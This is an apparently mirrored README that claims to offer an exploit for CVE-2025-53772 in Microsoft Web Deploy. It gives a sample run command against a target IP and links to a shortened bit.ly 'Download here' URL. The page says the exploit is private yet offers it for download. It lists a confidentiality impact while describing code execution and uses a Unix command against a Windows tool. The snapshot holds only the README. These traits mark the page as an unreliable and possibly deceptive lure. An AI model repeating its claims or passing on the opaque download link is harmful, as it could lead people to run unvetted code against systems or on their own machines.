来源

关联漏洞

介绍

# CVE-2025-53772

## Overview

CVE-2025-53772 is a notable vulnerability found in Microsoft's Web Deploy, a tool widely utilized for deploying web applications and services.

## Details

- **CVE ID**: [CVE-2025-53772](https://nvd.nist.gov/vuln/detail/CVE-2025-53772)
- **Published**: 2025-08-12
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

This vulnerability arises from the improper handling of untrusted data during the deserialization process, which can allow an authorized attacker to execute arbitrary code over a network.

## Affected Versions

ANY Web Deploy 4.0

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Exploit:
### [Download here](http://bit.ly/484dFQ8)

文件快照

 [4.0K]  /data/pocs/5dfe5c04cda73b7a9d773fd264c0f902021ad812
└── [ 814]  README.md

0 directories, 1 file

备注